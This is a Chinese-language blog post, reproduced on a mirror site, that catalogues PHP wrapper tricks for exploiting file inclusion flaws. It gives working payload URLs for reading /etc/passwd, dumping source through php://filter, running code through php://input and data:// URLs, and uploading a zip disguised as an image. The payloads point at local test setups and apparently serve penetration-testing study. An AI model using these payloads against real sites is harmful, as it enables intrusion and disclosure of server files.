zoukankan      html  css  js  c++  java
  • 【汇总】PHP 伪协议 利用


    日期:2019-07-28 21:24:36
    更新:
    作者:Bay0net
    介绍:


    0x01、基本信息

    文件包含函数

    include()
    require()
    include_once()
    require_once()
    highlight_file ()
    show_source ()
    readfile()
    file_get_contents ()
    fopen()
    file()
    

    环境概要

    PHP 配置文件: php.ini
    默认路径: /etc/php5/apache2/php.ini

    具体要求:

    allow_url_fopen=on:默认开启,该选项为 on 便是激活了 URL 形式的 fopen 封装协议,使得可以访问 URL 对象文件等。
    
    allow_url_include=on:默认关闭,该选项为 on 便是允许包含 URL 对象文件等。
    

    0x02、伪协议

    file://协议

    该协议在双 off 的情况下也可以正常使用;

    ?page=file:///etc/passwd
    ?file=file://D:/soft/phpStudy/WWW/phpcode.txt
    

    php://协议

    不需要开启 allow_url_fopen
    下面的几个需要开启 allow_url_fopen

    php://input
    php://stdin
    php://memory
    php://temp
    

    php://filter 读文件

    环境:

    • allow_url_fopen :off/on
    • allow_url_include:off/on

    在双 off 的情况下也可以正常使用,用于读取源代码并进行 base64 编码输出,不然会直接当做 php 代码执行就看不到源代码内容了。

    ?page=php://filter/read=convert.base64-encode/resource=file1.php
    

    php://input 命令执行

    环境:

    • allow_url_fopen :off/on
    • allow_url_include:on

    注:当 enctype="multipart/form-data" 时,php://input 是无效的。

    payload:

    url:  http://127.0.0.1:81/vulnerabilities/fi/?page=php://input
    post: <?php phpinfo(); ?>
    

    zip:// 压缩文件

    环境:

    • allow_url_fopen :off/on
    • allow_url_include:off/on

    用法:

    • zip://archive.zip#dir/file.txt
    • zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

    实例

    http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
    
    先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
    
    由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
    

    bzip2://协议

    环境:

    • allow_url_fopen :off/on
    • allow_url_include:off/on

    用法:

    • compress.bzip2://file.bz2

    实例

    http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
    
    http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
    

    zlib://协议

    环境:

    • allow_url_fopen :off/on
    • allow_url_include:off/on

    用法:

    • compress.zlib://file.gz

    实例

    http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
    
    http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
    

    data://

    环境:

    • allow_url_fopen :on
    • allow_url_include:on

    实例

    # 明文
    http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
    
    # base64 编码
    http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
    

    0x03、Reference

    php伪协议实现命令执行的七种姿势 - FreeBuf专栏·潜心学习的小白帽

    PHP: 支持的协议和封装协议 - Manual

  • 相关阅读:
    javaweb消息中间件——rabbitmq入门
    virtual box 桥接模式(bridge adapter)下无法获取ip(determine ip failed)的解决方法
    Apache Kylin本地启动
    git操作
    Java学习总结
    Java中同步的几种实现方式
    hibernate exception nested transactions not supported 解决方法
    vue 中解决移动端使用 js sdk 在ios 上一直报invalid signature 的问题解决
    cookie 的使用
    vue 专门为了解决修改微信标题而生的项目
  • 原文地址:https://www.cnblogs.com/v1vvwv/p/PHP-wrappers.html
Copyright © 2011-2022 走看看